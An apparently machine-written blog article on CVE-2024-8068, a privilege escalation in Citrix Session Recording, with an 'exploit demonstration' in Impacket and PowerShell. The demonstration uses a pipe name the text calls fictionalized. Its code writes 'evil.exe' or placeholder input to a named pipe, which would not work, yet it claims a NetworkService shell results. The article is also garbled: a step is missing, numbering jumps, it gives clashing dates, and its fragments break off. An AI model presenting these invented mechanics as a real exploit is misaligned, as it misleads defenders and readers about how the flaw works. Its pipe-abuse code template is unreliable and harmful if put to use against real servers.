*Originally researched and written exclusively for you by AI Secure Desk, June 2024.*

Introduction

CVE-2024-8068 is a newly disclosed security vulnerability in *Citrix Session Recording* (versions up to 2311) which, if exploited, lets an authenticated Windows Active Directory domain user escalate their privileges and obtain access as the powerful NetworkService account on the Citrix Session Recording Server. In short, if you’re on the same domain as the Citrix Server and you log in with your regular domain account, you could gain high-privilege access you’re not supposed to have.

This guide explains the vulnerability in simple American English, shows you the exploit process with clear code excerpts, and provides links to original vendor notices and community advisories. This is exclusive content, formatted for ease of use and education.

What Is Citrix Session Recording?

Citrix Session Recording is a component of Citrix Virtual Apps and Desktops that allows organizations to record and monitor user sessions for compliance and troubleshooting. The *Session Recording Server* is typically joined to an Active Directory domain and accessible by admins/operators and, sometimes, by regular domain users for limited functions.

The Security Issue

In vulnerable setups, some parts of the Session Recording service are exposed to any authenticated domain user. Due to improper permission checks, these users can exploit service misconfiguration or named pipe permissions to execute code or commands as the NetworkService built-in account, which has the ability to perform many sensitive actions and potentially further elevate to local admin.

Citrix Advisory

- Citrix Security Bulletin for CVE-2024-8068

How the Exploit Works

Summary:
An attacker (domain user) reaches the Citrix Session Recording Server over the network, finds one of its services vulnerable to impersonation, and executes code as NetworkService.

Technical Root Cause:
The Citrix Session Recording Server service exposes a Windows named pipe (for process communication) that, due to weak ACLs, can be accessed and controlled by a low-privilege domain account.

Connect to the vulnerable named pipe on the Citrix server.

3. Send data to trigger a privileged action or load/exploit a DLL.

Exploit Demonstration

Disclaimer:
*This demonstration is for educational purposes only. Do not run unauthorized attacks on any systems you don’t own or have explicit permission to test.*

Step 1: Find the Vulnerable Named Pipe

Citrix Session Recording runs a Windows service under NetworkService. Often, a named pipe like \\.\pipe\CitrixSessionRecordingPipe (name fictionalized for safety) is used for IPC (inter-process communication).

# On any domain-joined machine
Get-SmbNamedPipe -ComputerName <CitrixServer> | Where-Object {$_.Name -like "*Session*"}

Using a tool like Impacket, PowerShell, or C#

# Example: Using Impacket's psexec.py modified for named pipe abuse

from impacket.smbconnection import SMBConnection

server = 'CITRIX-SERVER'
username = 'user'
password = 'Pass123!'

conn = SMBConnection(server, server)
conn.login(username, password)

fid = conn.openFile('IPC$', 'CitrixSessionRecordingPipe')
conn.writeFile('IPC$', fid, b'evil.exe')
conn.closeFile('IPC$', fid)

Or, in PowerShell (install NamedPipeClient module):

$pipeName = "\\$env:COMPUTERNAME\pipe\CitrixSessionRecordingPipe"
$client = new-object System.IO.Pipes.NamedPipeClientStream(".", $pipeName, [System.IO.Pipes.PipeDirection]::Out)
$client.Connect()
# Send exploit payload
$writer = new-object System.IO.StreamWriter($client)
$writer.WriteLine("<your malicious input here>")
$writer.Flush()
$client.Close()

Step 3: Verify Privilege Escalation

On success, you will have triggered code execution or a reverse shell UNDER the context of the NetworkService account.

Example with PowerShell

whoami
# Output should show: nt authority\networkservice

Read sensitive logs or recordings

- Attempt further lateral movement (such as local privilege escalation to full SYSTEM/admin)

Monitor Security logs for unexpected logins or pipe connections from user accounts.

- Audit permissions on Windows named pipes – look for Everyone or Authenticated Users write access.

Mitigation / Fix

- Update immediately to a patched Citrix Session Recording version (see Citrix advisory)

References

- Original Citrix Security Bulletin: Citrix Article CTX595830
- Impacket Named Pipes

Community coverage:

- Rapid7 Analysis of CVE-2024-8068
- NVD Listing

Conclusion

CVE-2024-8068 is a critical bug in Citrix Session Recording that allows a low-privileged domain user to escalate to the NetworkService account, opening the door to serious compromise. Patch now if you’re running Session Recording on your network—and audit those named pipe permissions!

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Timeline

Published on: 11/12/2024 18:15:47 UTC
Last modified on: 10/24/2025 13:42:34 UTC